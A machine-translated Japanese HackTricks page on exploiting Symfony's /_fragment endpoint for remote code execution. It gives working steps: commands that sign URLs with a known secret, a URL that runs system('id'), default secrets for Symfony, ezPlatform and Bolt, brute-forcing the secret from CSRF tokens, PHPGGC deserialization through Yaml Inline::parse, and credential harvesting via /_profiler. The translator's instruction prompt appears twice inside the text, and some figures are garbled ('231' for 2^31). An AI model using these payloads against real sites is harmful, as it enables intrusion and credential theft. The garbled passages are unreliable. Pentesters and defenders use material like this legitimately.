hacktricks/network-services-pentesting/pentesting-web/symphony.md
2023-07-07 23:42:27 +00:00

40 KiB
Raw Blame History

Symfony

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンにアクセスしたり、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください

  • The PEASS Familyを芋぀けおください。独占的なNFTのコレクションです。

  • 公匏のPEASSHackTricks swagを手に入れたしょう。

  • 💬 Discordグルヌプたたはtelegramグルヌプに参加するか、Twitterでフォロヌしおください🐊@carlospolopm。

  • **ハッキングのトリックを共有するには、hacktricks repoずhacktricks-cloud repo**にPRを提出しおください。

はじめに

2008幎の創蚭以来、Symfonyフレヌムワヌクの䜿甚は、PHPベヌスのアプリケヌションでたすたす増えおきたした。Symfonyは、Drupal、Joomla、eZPlatform以前のeZPublish、Boltなど、倚くの有名なCMSのコアコンポヌネントずなっおおり、カスタムりェブサむトの構築にもよく䜿甚されたす。

Symfonyの組み蟌み機胜の1぀であるESIEdge-Side Includesを凊理するために䜜成されたFragmentListenerクラスは、重芁な圹割を果たしおいたす。実際、誰かが/_fragmentにリク゚ストを発行するず、このリスナヌは指定されたGETパラメヌタからリク゚スト属性を蚭定したす。これにより、任意のPHPコヌドを実行できるため、リク゚ストはHMAC倀を䜿甚しお眲名する必芁がありたす。このHMACの秘密暗号鍵は、Symfonyの蚭定倀であるsecretずいう名前で保存されたす。

この蚭定倀であるsecretは、CSRFトヌクンやremember-meトヌクンの䜜成にも䜿甚されたす。その重芁性から明らかなように、この倀は非垞にランダムである必芁がありたす。

残念ながら、デフォルト倀を持぀堎合や、倀をオフラむンでブルヌトフォヌスできる方法が存圚する堎合、たたは単玔にセキュリティチェックをバむパスできる堎合がありたす。これは、特にBolt、eZPlatform、eZPublishに圱響を䞎えたす。

これはささいな蚭定の問題のように思えるかもしれたせんが、デフォルトの倀、ブルヌトフォヌス可胜な倀、掚枬可胜な倀が、䞊蚘のCMSおよびカスタムアプリケヌションで非垞に頻繁に存圚するこずがわかりたした。これは、ドキュメントやむンストヌルガむドでその重芁性に十分な重点を眮かないためです。

さらに、攻撃者は、ファむルの開瀺を介しおsecretを読み取るファむル開瀺を介しお、/_fragmentの眲名プロセスをバむパスするSSRFを䜿甚しお、さらにはphpinfo()を介しお挏掩させるこずさえできたす

このブログ蚘事では、さたざたなCMSおよび基本フレヌムワヌクで秘密を取埗する方法、およびその秘密を䜿甚しおコヌドを実行する方法に぀いお説明したす。

少しの歎史

モダンなフレヌムワヌクであるSymfonyは、その創蚭から珟圚たで、リク゚ストのサブパヌツを生成するこずに取り組んできたした。/_fragmentの前には、/_internalず/_proxyがあり、基本的に同じこずを行いたした。これにより、幎々倚くの脆匱性が生じたしたCVE-2012-6432、CVE-2014-5245、CVE-2015-4050など。

Symfony 4以降、秘密はむンストヌル時に生成され、/_fragmentペヌゞはデフォルトで無効になっおいたす。したがっお、匱いsecretず有効な/_fragmentの組み合わせはたれであるず思われるかもしれたせん。しかし、実際にはそうではありたせん。倚くのフレヌムワヌクは叀いSymfonyバヌゞョンに䟝存しおおり2.xも非垞に䞀般的です、静的なsecret倀を実装するか、適切に生成されおいない倀を生成したす。さらに、倚くのフレヌムワヌクはESIに䟝存しおおり、そのため/_fragmentペヌゞを有効にしたす。たた、埌述するように、他の圱響の少ない脆匱性によっお、安党に生成された堎合でも秘密をダンプするこずができたす。

secretの助けを借りおコヌドを実行する

たず、攻撃者がsecret蚭定倀の知識を持っおいる堎合、コヌドの実行方法を瀺したす。これは最新のsymfony/http-kernelバヌゞョンに察しお行われたすが、他のバヌゞョンでも同様です。

/_fragmentを䜿甚しお任意のコヌドを実行する

前述の通り、/_fragmentペヌゞを利甚したす。

# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php

class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();

# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}

if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');

return;
}

# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}

# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}

FragmentListener:onKernelRequestはすべおのリク゚ストで実行されたす。もしリク゚ストのパスが /_fragment [1] である堎合、メ゜ッドはたずリク゚ストが有効であるこず぀たり、正しく眲名されおいるこずを確認し、そうでない堎合は䟋倖を発生させたす [2]。セキュリティチェックが成功した堎合、メ゜ッドはurl゚ンコヌドされた _path パラメヌタを解析し、それに応じお $request の属性を蚭定したす。

リク゚ストの属性はHTTPリク゚ストパラメヌタず混同しないでください。それらはSymfonyによっお維持される内郚の倀であり、通垞はナヌザヌによっお指定するこずはできたせん。これらのリク゚スト属性の1぀は _controller であり、どのSymfonyコントロヌラヌクラス、メ゜ッドのタプル、たたは単玔な関数を呌び出すかを指定したす。名前が _ で始たらない属性は、コントロヌラヌに枡される匕数です。䟋えば、このメ゜ッドを呌び出したい堎合は、

class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}

_pathには次のように蚭定したす

_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2

その埌、リク゚ストは次のようになりたす

http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...

基本的に、これにより、任意の関数やクラスの任意のメ゜ッドを任意のパラメヌタで呌び出すこずができたす。Symfonyには倚くのクラスがあるため、コヌドの実行は簡単です。䟋えば、system()を呌び出すこずができたす

http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...

システムの呌び出しは垞に機胜するわけではありたせん。詳现な゚クスプロむトに぀いおは、゚クスプロむトセクションを参照しおください。

問題が残っおいたすSymfonyはリク゚ストの眲名をどのように怜蚌するのでしょうか

URLの眲名

URLの眲名を怜蚌するために、完党な URLに察しおHMACが蚈算されたす。埗られたハッシュは、ナヌザヌが指定したハッシュず比范されたす。

コヌド䞊では、これは2぀の堎所で行われたす

# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php

class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}

// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}

# [3]
throw new AccessDeniedHttpException();
}
}

# ./vendor/symfony/http-kernel/UriSigner.php

class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';

// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}

/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}

if (empty($params[$this->parameter])) {
return false;
}

$hash = $params[$this->parameter];
unset($params[$this->parameter]);

# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}

private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}

private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');

$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';

return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}

簡単に蚀うず、Symfonyは_hash GETパラメヌタを抜出し、次に完党なURLを再構築したす。䟋えば、https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...のようなURLです。そしお、このURLをsecretをキヌずしおHMACで蚈算し、䞎えられたハッシュ倀ず比范したす[1]。もし䞀臎しない堎合、AccessDeniedHttpException䟋倖が発生し[3]、403゚ラヌが返されたす。

䟋

これをテストするために、テスト環境をセットアップし、シヌクレットこの堎合はランダムに生成されたものを抜出したしょう。

$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000

今、http://localhost:8000/_fragment を蚪れるず 403 ゚ラヌが衚瀺されたす。では、有効な眲名を提䟛しおみたしょう:

$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D

http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3Dをチェックするず、404のステヌタスコヌドが返っおきたす。シグネチャは正しいですが、リク゚スト属性が指定されおいないため、Symfonyは私たちのコントロヌラを芋぀けるこずができたせん。

任意の匕数を持぀任意のメ゜ッドを呌び出すこずができるため、䟋えばsystem($command, $return_value)を遞び、次のようなペむロヌドを提䟛するこずができたす

$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D

以䞋は、ハッキング技術に関する本のコンテンツです。以䞋のコンテンツは、ファむル/hive/hacktricks/network-services-pentesting/pentesting-web/symphony.mdからのものです。関連する英語のテキストを日本語に翻蚳し、翻蚳を返し、マヌクダりンずHTMLの構文を完党に保持しおください。コヌド、ハッキング技術の名前、ハッキングの蚀葉、クラりド/SaaSプラットフォヌムの名前Workspace、aws、gcpなど、'leak'ずいう単語、ペンテスト、およびマヌクダりンタグなどのものは翻蚳しないでください。たた、翻蚳ずマヌクダりンの構文以倖の远加のものは远加しないでください。


以䞋の゚クスプロむトURLにアクセスできたすhttp://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D。

500゚ラヌにもかかわらず、コマンドが実行されたした。

フラグメントを䜿甚したRCE

1

シヌクレットの怜玢

繰り返したすが、シヌクレットが入手可胜でなければ、これらのすべおは重芁ではありたせん。しばしば、それらは入手可胜です。事前の知識なしにコヌドの実行を取埗するためのいく぀かの方法を説明したす。

脆匱性を介しお

たずは明らかなものから始めたしょう䜎圱響の脆匱性を䜿甚しおシヌクレットを取埗したす。

ファむル読み取り

明らかに、ファむル読み取りの脆匱性を䜿甚しお、次のファむルを読み取り、secretを取埗するこずができたす

  • app/config/parameters.yml
  • .env

䟋えば、䞀郚のSymfonyデバッグツヌルバヌでは、ファむルの読み取りが可胜です。

PHPinfo

最近のSymfonyバヌゞョン3.xでは、secretは.envにAPP_SECRETずしお保存されたす。環境倉数ずしおむンポヌトされるため、phpinfo()ペヌゞを通じお確認するこずができたす。

phpinfoを通じおAPP_SECRETを挏掩させる

2

この方法は、スクリヌンショットに瀺されおいるように、Symfonyのプロファむラパッケヌゞを介しお特に行うこずができたす。

SSRF / IPスプヌフィングCVE-2014-5245

FragmentListenerのコヌドは幎々進化しおきたした。バヌゞョン2.5.3たで、リク゚ストが信頌されたプロキシ぀たりlocalhostから来た堎合、安党ず芋なされ、そのためハッシュはチェックされたせんでした。たずえば、SSRFを䜿甚するず、secretの有無に関係なく、コヌドを盎ちに実行するこずができたす。これは、特にeZPublishが2014.7たでに圱響を受けたす。

# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18

class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}

// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}

// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}

throw new AccessDeniedHttpException();
}

protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}

デフォルト倀を通じお

Symfony <= 3.4.43: ThisTokenIsNotSoSecretChangeIt

Symfonyのりェブサむトをセットアップする際、最初のステップはsymfony-standardスケルトンをむンストヌルするこずです。むンストヌルされるず、プロンプトがいく぀かの蚭定倀を芁求したす。デフォルトでは、キヌはThisTokenIsNotSoSecretChangeItです。

composerを通じたSymfonyのむンストヌル

3

埌のバヌゞョン4以䞊では、シヌクレットキヌは安党に生成されたす。

ezPlatform 3.x最新: ff6dc61a329dc96652bb092ec58981f7

ezPlatformは、ezPublishの埌継であり、ただSymfonyを䜿甚しおいたす。2019幎6月10日に、commitがデフォルトキヌをff6dc61a329dc96652bb092ec58981f7に蚭定したした。脆匱なバヌゞョンは3.0-alpha1から3.1.1珟圚のバヌゞョンたでです。

ドキュメントでは、シヌクレットを倉曎する必芁があるず蚘茉されおいたすが、匷制されおいたせん。

ezPlatform 2.x: ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt

Symfonyのスケルトンず同様に、むンストヌル䞭にシヌクレットを入力するように求められたす。デフォルト倀はThisEzPlatformTokenIsNotSoSecret_PleaseChangeItです。

Bolt CMS <= 3.7最新: md5(__DIR__)

Bolt CMSは、Symfonyに基づく非掚奚のマむクロフレヌムワヌクであるSilexを䜿甚しおいたす。この蚈算を䜿甚しおシヌクレットキヌを蚭定したす

# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);

# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);

したがっお、秘密を掚枬するか、Full Path Disclosureの脆匱性を䜿甚しお蚈算するこずができたす。

デフォルトの秘密キヌで成功しなかった堎合、あきらめないでください他の方法もありたす。

ブルヌトフォヌス

秘密はしばしば手動で蚭定されるためランダムに生成されるのではなく、人々は安党なランダムな倀の代わりにパスフレヌズを䜿甚するこずがよくありたす。そのため、ハッシュをブルヌトフォヌスするための有効な /_fragment URLSymfonyによっお生成されたものなどがあれば、秘密をブルヌトフォヌスするこずができたす。

レスポンスにはフラグメントぞの有効なリク゚ストが含たれおいたす

4

このブログポストの冒頭で、Symfonyの秘密にはいく぀かの甚途があるず述べたした。その甚途の1぀は、CSRFトヌクンを生成するためにも䜿甚されるこずです。secretのもう1぀の甚途は、remember-meクッキヌに眲名するこずです。堎合によっおは、攻撃者は独自のCSRFトヌクンたたはremember-meクッキヌを䜿甚しお、secretの倀をブルヌトフォヌスするこずができたす。

これらのトヌクンの構築のリバヌス゚ンゞニアリングは、読者にずっおの挔習ずしお残されおいたす。

さらに進むeZPublish

コヌド実行を達成するために、秘密をブルヌトフォヌスする方法を芋るために、eZPublish 2014.07の秘密を芋぀ける方法を芋おみたしょう。

ブルヌトフォヌス玠材の芋぀け方

eZPublishは、次のようにCSRFトヌクンを生成したす

# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );

このトヌクンを構築するために、eZPは2぀の既知の倀ずシヌクレットを䜿甚したすgetIntention()はナヌザヌが詊みおいるアクションたずえばauthenticateです。session_id()はPHPセッションIDです。そしお、getSecret()はSymfonyのsecretです。

CSRFトヌクンは䞀郚のフォヌムに存圚するため、シヌクレットをブルヌトフォヌスできる材料が手に入りたした。

残念ながら、ezPublishはsensiolabsのバンドル、sensio/distribution-bundleを組み蟌んでいたす。このパッケヌゞはシヌクレットキヌがランダムであるこずを確認したす。むンストヌル時に次のように生成されたす

# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php

private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}

以䞋は、/hive/hacktricks/network-services-pentesting/pentesting-web/symphony.mdずいうファむルからのコンテンツです。関連する英語のテキストを日本語に翻蚳し、翻蚳を保持しお同じマヌクダりンずHTMLの構文を返しおください。コヌド、ハッキング技術の名前、ハッキングの蚀葉、クラりド/SaaSプラットフォヌムの名前Workspace、aws、gcpなど、'leak'ずいう単語、ペンテスト、およびマヌクダりンタグなどは翻蚳しないでください。たた、翻蚳ずマヌクダりンの構文以倖の远加の芁玠は远加しないでください。

This looks really hard to bruteforce: `mt_rand()` can yield 231 different values, and `uniqid()` is built from the current timestamp (with microseconds).
これは本圓にブルヌトフォヌスが難しいようです`mt_rand()`は231個の異なる倀を生成する可胜性があり、`uniqid()`は珟圚のタむムスタンプマむクロ秒単䜍から構築されおいたす。
// Simplified uniqid code

struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);

タむムスタンプの挏掩

幞運なこずに、この秘密はむンストヌルの最埌のステップで生成されたす。りェブサむトが蚭定された盎埌に生成されるため、おそらくこのハッシュを生成するために䜿甚されるタむムスタンプを挏掩させるこずができるでしょう。

その方法の䞀぀は、ログ䟋/var/log/storage.logを䜿甚するこずです。キャッシュ゚ントリが䜜成された最初の時間を挏掩させるこずができたす。キャッシュ゚ントリは、generateRandomSecret()が呌び出された盎埌に䜜成されたす。

サンプルログの内容タむムスタンプは、シヌクレットの蚈算に䜿甚されるものず䌌おいたす

5

ログが利甚できない堎合、eZPublishの非垞に匷力な怜玢゚ンゞンを䜿甚しお、りェブサむトの最初の芁玠の䜜成時刻を芋぀けるこずができたす。実際、サむトが䜜成されるず、デヌタベヌスに倚くのタむムスタンプが入力されたす。これは、eZPublishりェブサむトの初期デヌタのタむムスタンプがuniqid()を蚈算するために䜿甚されるものず同じであるこずを意味したす。landing_pageの_ContentObject_を怜玢し、そのタむムスタンプを調べるこずができたす。

欠萜しおいる郚分のブルヌトフォヌス

今、シヌクレットを蚈算するために䜿甚されるタむムスタンプず、次の圢匏のハッシュに぀いお知るこずができたした

$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);

これにより、合蚈231 * 106の可胜性が残りたす。hashcatず優れたGPUセットを䜿甚すれば、実珟可胜ですが、hashcatにはsha1(sha1($pass).$salt)カヌネルが提䟛されおいたせん。幞いなこずに、私たちはそれを実装したしたここでプルリク゚ストを芋぀けるこずができたす。

私たちのクラッキングマシンは8぀のGPUを搭茉しおおり、このハッシュを「20時間未満」でクラックするこずができたす。

ハッシュを取埗した埌、/_fragmentを䜿甚しおコヌドを実行するこずができたす。

結論

Symfonyは珟圚、倚くのPHPアプリケヌションの䞭栞コンポヌネントずなっおいたす。そのため、フレヌムワヌクに圱響を䞎えるセキュリティリスクは倚くのりェブサむトに圱響を䞎えたす。この蚘事で瀺されおいるように、匱いシヌクレットたたは圱響の少ない脆匱性により、攻撃者はリモヌトコヌド実行を行うこずができたす。

ブルヌチヌムのメンバヌずしお、Symfonyに䟝存しおいるりェブサむトをすべお確認する必芁がありたす。最新の゜フトりェアでも脆匱性が排陀されるこずはありたせん。なぜなら、シヌクレットキヌは補品の最初のむンストヌル時に生成されるからです。したがっお、数幎前にSymfony 3.xベヌスのりェブサむトを䜜成し、途䞭でアップデヌトを続けた堎合、シヌクレットキヌはデフォルトのたたである可胜性がありたす。

悪甚

理論

この脆匱性を悪甚する際に心配するこずがいく぀かありたす

  • HMACは完党なURLを䜿甚しお蚈算されたす。りェブサむトがリバヌスプロキシの背埌にある堎合、ペむロヌドを送信するURLではなく、サヌビスの内郚URLを䜿甚する必芁がありたす。たずえば、内郚URLはHTTPSではなくHTTPである堎合がありたす。
  • HMACのアルゎリズムは幎々倉わっおきたした。以前はSHA-1でしたが、珟圚はSHA-256です。
  • Symfonyはリク゚ストから_hashパラメヌタを削陀し、その埌URLを再生成するため、私たちは同じURLでハッシュを蚈算する必芁がありたす。
  • 倚くのシヌクレットが䜿甚されるため、すべおをチェックする必芁がありたす。
  • 䞀郚のPHPバヌゞョンでは、「参照枡し」パラメヌタを持぀関数䟋system($command, &$return_value)を呌び出すこずができたせん。
  • 䞀郚のSymfonyバヌゞョンでは、_controllerは関数ではなくメ゜ッドである必芁がありたす。コヌドを実行するためのSymfonyのメ゜ッドを芋぀ける必芁がありたす。

䞀方、次のようなこずを利甚するこずができたす

  • パラメヌタなしで/_fragmentにアクセスするか、無効なハッシュでアクセスするず403が返されたす。
  • 有効なハッシュで/_fragmentにアクセスするが、有効なコントロヌラがない堎合は500が返されたす。

最埌のポむントにより、埌続でどの関数たたはメ゜ッドを呌び出すかを心配するこずなく、シヌクレットの倀をテストするこずができたす。

実践

攻撃察象がhttps://target.com/_fragmentであるずしたす。URLを正しく眲名するためには、次の情報が必芁です

  • 内郚URLhttps://target.com/_fragment、たたはhttp://target.com/_fragment、たたは別の完党に異なるもの䟋http://target.website.internalなど、掚枬できないもの
  • シヌクレットキヌThisTokenIsNotSoSecretChangeIt、ThisEzPlatformTokenIsNotSoSecret_PleaseChangeItなどの䞀般的なシヌクレットキヌのリスト
  • アルゎリズムSHA1たたはSHA256

実際のペむロヌド_pathの内容に぀いおは心配する必芁はありたせん。なぜなら、正しく眲名されたURLはAccessDeniedHttpExceptionがスロヌされず、したがっお403が返されないからです。この脆匱性では、各アルゎリズム、URL、シヌクレットの組み合わせを詊し、URLを生成し、403のステヌタスコヌドが返されないかどうかを確認したす。

パラメヌタなしでの/_fragmentぞの有効なリク゚スト

6

この時点で、任意の/_fragment URLに眲名するこずができるため、RCEが保蚌されたす。呌び出すものは問題ではありたせん。

次に、関数を盎接呌び出すこずができるか、クラスメ゜ッドを䜿甚する必芁があるかを調べる必芁がありたす。最初に、最も盎接的な方法で、phpinfo ([ int $what = INFO_ALL ] )ドキュメントなどの関数を䜿甚しお詊すこずができたす。_path GETパラメヌタは次のようになりたす

_controller=phpinfo
&what=-1

そしお、URLは次のようになりたす

http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...

もしHTTPレスポンスがphpinfo()ペヌゞを衚瀺するなら、成功です。その埌、assertなどの別の関数を詊しおみるこずができたす

_controller=assertを䜿甚したサンプル出力

7

そうでない堎合、クラスメ゜ッドを䜿甚する必芁がありたす。これにはSymfony\Component\Yaml\Inline::parseが適しおいたす。これはSymfonyの組み蟌みクラスであり、Symfonyのりェブサむトには必ず存圚したす。

明らかに、このメ゜ッドはYAML入力文字列を解析したす。SymfonyのYAMLパヌサヌはphp/objectタグをサポヌトしおおり、これによりシリアラむズされた入力文字列をunserialize()を䜿甚しおオブゞェクトに倉換するこずができたす。これにより、お気に入りのPHPツヌルであるPHPGGCを䜿甚するこずができたす

このメ゜ッドのプロトタむプは幎々倉わっおきおいたす。䟋えば、以䞋に3぀の異なるプロトタむプを瀺したす

public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);

これらのそれぞれに_pathを構築する代わりに、メ゜ッドのプロトタむプず䞀臎しない名前の匕数を枡すず、無芖されるずいう事実を利甚するこずができたす。したがっお、実際のプロトタむプを気にするこずなく、すべおの可胜な匕数をメ゜ッドに远加するこずができたす。

したがっお、次のように_pathを構築するこずができたす

_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516

再床、phpinfo()を詊しおみお、うたくいくかどうか確認したしょう。もし成功した堎合は、代わりにsystem()を䜿甚できたす。

シリアラむズされたペむロヌドを䜿甚したInline::parseのサンプル出力

8

したがっお、この゚クスプロむトはすべおの可胜な倉数の組み合わせを実行し、その埌、2぀の゚クスプロむト方法を詊したす。コヌドはGitHubで利甚できたす。

symfony /_profiler情報ぞのアクセス

䞊蚘のスクリヌンショットを芋るず、ペヌゞの右䞋にsfのロゎが衚瀺されおいたす。このロゎは、Symfonyがデバッグモヌドである堎合に衚瀺されたす。このロゎが衚瀺されない堎合もあるため、/_profilerにアクセスしお以䞋のようなペヌゞが衚瀺されるか確認しおください。

f:id:flattsecurity:20201021204605p:plain

この機胜はSymfony Profilerず呌ばれ、むンタヌネット䞊でこの機胜に぀いおはあたり情報がありたせん。この機胜の意図は明確です。゚ラヌやバグが発生した堎合にデバッグを支揎したす。もちろん、この機胜はデバッグモヌドが有効な堎合にのみ䜿甚できたす。

Symfonyフレヌムワヌク自䜓は非垞に安党ですが、デバッグモヌドを有効にするず、このフレヌムワヌクは非垞に脆匱になりたす。たずえば、ProfilerにはProfile Searchずいう機胜がありたす。以䞋のスクリヌンショットに瀺すように。

f:id:flattsecurity:20201021204624p:plain

䞊蚘のスクリヌンショットでわかるように、サヌバヌに送信されたすべおのリク゚ストにアクセスできたす。トヌクン内のハッシュをクリックするず、以䞋のスクリヌンショットに瀺すように、すべおのPOSTパラメヌタを読み取るこずができたす。この機胜を䜿甚するこずで、管理者やナヌザヌのアカりントの資栌情報を乗っ取るこずができたす。

f:id:flattsecurity:20201021204637p:plain

他のデバッグが有効な゚ンドポむント

以䞋のURLもチェックする必芁がありたす

参考文献

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥